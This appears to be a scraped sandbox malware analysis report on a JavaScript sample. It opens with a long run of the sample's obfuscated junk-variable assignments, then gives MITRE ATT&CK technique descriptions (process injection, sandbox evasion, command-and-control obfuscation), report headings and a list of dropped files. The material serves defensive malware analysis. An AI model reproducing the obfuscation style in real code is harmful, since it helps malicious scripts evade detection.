1195	pbvltfafm = "x";
1196	pbvltfafm = "t";
1197	pbvltfafm = "J";
1198	pbvltfafm = "K";
1199	pbvltfafm = "E";
1200	pbvltfafm = "F";
1201	pbvltfafm = "L";
1202	pbvltfafm = ":";
1203	hsyapaw = "U";
1204	hsyapaw = "D";
1205	hsyapaw = "J";
1206	hsyapaw = "B";
1207	hsyapaw = "F";
1208	hsyapaw = "M";
1209	hsyapaw = "S";
1210	hsyapaw = "S";
1211	hsyapaw = "T";
1212	hsyapaw = "S";
1213	hsyapaw = "X";
1214	hsyapaw = "b";
1215	hsyapaw = "d";
1216	hsyapaw = "o";
1217	hsyapaw = "A";
1218	hsyapaw = "Y";
1219	hsyapaw = "S";
1220	hsyapaw = "q";
1221	hsyapaw = "g";
1222	hsyapaw = "p";
1223	hsyapaw = "M";
1224	hsyapaw = "F";
1225	hsyapaw = "H";
1226	hsyapaw = "C";
1227	hsyapaw = "m";
1228	hsyapaw = "u";
1229	hsyapaw = "h";
1230	hsyapaw = "R";
1231	hsyapaw = "D";
1232	hsyapaw = "O";
1233	hsyapaw = "p";
1234	zlgex = "s";
1235	zlgex = "u";
1236	zlgex = "Y";
1237	zlgex = "t";
1238	zlgex = "r";
1239	zlgex = "I";
1240	zlgex = "d";
1241	zlgex = "O";
1242	zlgex = "s";
1243	zlgex = "R";
1244	zlgex = "u";
1245	zlgex = "I";
1246	zlgex = "g";
1247	zlgex = "y";
1248	zlgex = "i";
1249	fatnfjmwc = "O";
1250	fatnfjmwc = "D";
1251	fatnfjmwc = "q";
1252	fatnfjmwc = "E";
1253	fatnfjmwc = "J";
1254	fatnfjmwc = "y";
1255	fatnfjmwc = "e";
1256	fatnfjmwc = "o";
1257	fatnfjmwc = "X";
1258	fatnfjmwc = "d";
1259	fatnfjmwc = "j";
1260	fatnfjmwc = "s";
1261	fatnfjmwc = "S";
1262	fatnfjmwc = "N";
1263	fatnfjmwc = "H";
1264	fatnfjmwc = "O";
1265	fatnfjmwc = "r";
1266	fatnfjmwc = "z";
1267	fatnfjmwc = "g";
1268	fatnfjmwc = "h";
1269	sembtgyc = "w";
1270	sembtgyc = "V";
1271	sembtgyc = "i";
1272	sembtgyc = "M";
1273	sembtgyc = "I";
1274	sembtgyc = "r";
1275	sembtgyc = "M";
1276	sembtgyc = "M";
1277	sembtgyc = "T";
1278	sembtgyc = "i";
1279	sembtgyc = "c";
1280	sembtgyc = "X";
1281	sembtgyc = "f";
1282	sembtgyc = "q";
1283	sembtgyc = "K";
1284	sembtgyc = "Q";
1285	sembtgyc = "b";
1286	sembtgyc = "A";
1287	sembtgyc = "u";
1288	sembtgyc = "F";
1289	sembtgyc = "Y";
1290	sembtgyc = "u";
1291	sembtgyc = "e";
1292	sembtgyc = "D";
1293	sembtgyc = "u";
1294	sembtgyc = "g";
1295	sembtgyc = "U";
1296	sembtgyc = "F";
1297	hpgszfl = "e";
1298	hpgszfl = "t";
1299	hpgszfl = "d";
1300	hpgszfl = "g";
1301	hpgszfl = "J";
1302	hpgszfl = "x";
1303	hpgszfl = "d";
1304	hpgszfl = "y";
1305	hpgszfl = "u";
1306	hpgszfl = "t";
1307	hpgszfl = "q";
1308	hpgszfl = "Y";
1309	hpgszfl = "P";
1310	hpgszfl = "u";
1311	hpgszfl = "I";
1312	hpgszfl = "b";
1313	hpgszfl = "s";
1314	hpgszfl = "R";
1315	hpgszfl = "T";
1316	hpgszfl = "W";
1317	hpgszfl = "G";
1318	hpgszfl = "J";
1319	hpgszfl = "j";
1320	hpgszfl = "W";
1321	hpgszfl = "V";
1322	hpgszfl = "i";
1323	hpgszfl = "y";
1324	hpgszfl = "\\";
1325	kaojkej = "v";
1326	kaojkej = "k";
1327	kaojkej = "p";
1328	kaojkej = "U";
1329	kaojkej = "G";
1330	kaojkej = "L";
1331	kaojkej = "g";
1332	kaojkej = "x";
1333	kaojkej = "k";
1334	kaojkej = "g";
1335	kaojkej = "y";
1336	kaojkej = "D";
1337	kaojkej = "O";
1338	kaojkej = "D";
1339	kaojkej = "V";
1340	kaojkej = "U";
1341	kaojkej = "E";
1342	kaojkej = "N";
1343	kaojkej = "j";
1344	kaojkej = "n";
1345	kaojkej = "x";
1346	kaojkej = "V";
1347	kaojkej = "l";
1348	kaojkej = "n";
1349	kaojkej = "e";
1350	kaojkej = "l";
1351	kaojkej = "6";
1352	zxjbrthi = "R";
1353	zxjbrthi = "g";
1354	zxjbrthi = "V";
1355	zxjbrthi = "t";
1356	zxjbrthi = "c";
1357	zxjbrthi = "L";
1358	zxjbrthi = "A";
1359	zxjbrthi = "n";
1360	cfcacdigk = "q";
1361	cfcacdigk = "G";
1362	cfcacdigk = "Y";
1363	cfcacdigk = "d";
1364	cfcacdigk = "e";
1365	cfcacdigk = "m";
1366	cfcacdigk = "g";
1367	cfcacdigk = "k";
1368	cfcacdigk = "S";
1369	cfcacdigk = "n";
1370	cfcacdigk = "O";
1371	cfcacdigk = "u";
1372	cfcacdigk = "N";
1373	cfcacdigk = "M";
1374	cfcacdigk = "a";
1375	cfcacdigk = "p";
1376	cfcacdigk = "i";
1377	cfcacdigk = "n";
1378	cfcacdigk = "S";
1379	cfcacdigk = "O";
1380	cfcacdigk = "E";
1381	cfcacdigk = "s";
1382	cfcacdigk = "M";
1383	cfcacdigk = "I";
1384	cfcacdigk = "W";
1385	cfcacdigk = "h";
1386	cfcacdigk = "w";
1387	cfcacdigk = "S";
1388	cfcacdigk = "f";
1389	cfcacdigk = "r";
1390	cfcacdigk = "K";
1391	cfcacdigk = "p";
1392	cfcacdigk = "e";
1393	cfcacdigk = "T";
1394	cfcacdigk = "j";
1395	cfcacdigk = "b";
1396	cfcacdigk = "Y";
1397	cfcacdigk = "X";
1398	cfcacdigk = "K";
1399	hmcdpxmi = "Y";
1400	hmcdpxmi = "Y";
1401	hmcdpxmi = "q";
1402	hmcdpxmi = "B";
1403	hmcdpxmi = "O";
1404	hmcdpxmi = "P";
1405	hmcdpxmi = "A";
1406	hmcdpxmi = "w";
1407	hmcdpxmi = "k";
1408	hmcdpxmi = "L";
1409	auiijihe = "v";
1410	auiijihe = "I";
1411	auiijihe = "Z";
1412	auiijihe = "A";
1413	auiijihe = "h";
1414	auiijihe = "w";
1415	auiijihe = "C";
1416	auiijihe = "C";
1417	auiijihe = "f";
1418	auiijihe = "n";
1419	auiijihe = "Y";
1420	auiijihe = "b";
1421	auiijihe = "s";
1422	auiijihe = "A";
1423	auiijihe = "x";
1424	auiijihe = "v";
1425	auiijihe = "X";
1426	auiijihe = "P";
1427	auiijihe = "l";
1428	auiijihe = "S";
1429	auiijihe = "D";
1430	auiijihe = "m";
1431	auiijihe = "A";
1432	auiijihe = "B";
1433	auiijihe = "a";
1434	auiijihe = "I";
1435	auiijihe = "G";
1436	auiijihe = "U";
1437	auiijihe = "s";
1438	auiijihe = "P";
1439	auiijihe = "V";
1440	auiijihe = "4";
1441	dljean = "H";
1442	dljean = "V";
1443	dljean = "R";
1444	dljean = "k";
1445	dljean = "p";
1446	dljean = "A";
1447	dljean = "X";
1448	dljean = "c";
1449	dljean = "A";
1450	dljean = "u";
1451	dljean = "Q";
1452	dljean = "R";
1453	dljean = "F";
1454	dljean = "e";
1455	dljean = "Y";
1456	dljean = "e";
1457	dljean = "l";
1458	dljean = "S";
1459	dljean = "l";
1460	dljean = "Q";
1461	dljean = "O";
1462	wxqcpdsjw = "g";
1463	wxqcpdsjw = "b";
1464	wxqcpdsjw = "i";
1465	wxqcpdsjw = "c";
1466	wxqcpdsjw = "M";
1467	wxqcpdsjw = "i";
1468	wxqcpdsjw = "j";
1469	wxqcpdsjw = "i";
1470	wxqcpdsjw = "N";
1471	wxqcpdsjw = "H";
1472	wxqcpdsjw = "Q";
1473	wozqprijv ( );	wozqprijv() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 26999259552055117101.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\e9279824-1faf-4096-88f5-f7534e2e0ee5.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Windows Analysis Report
26999259552055117101.js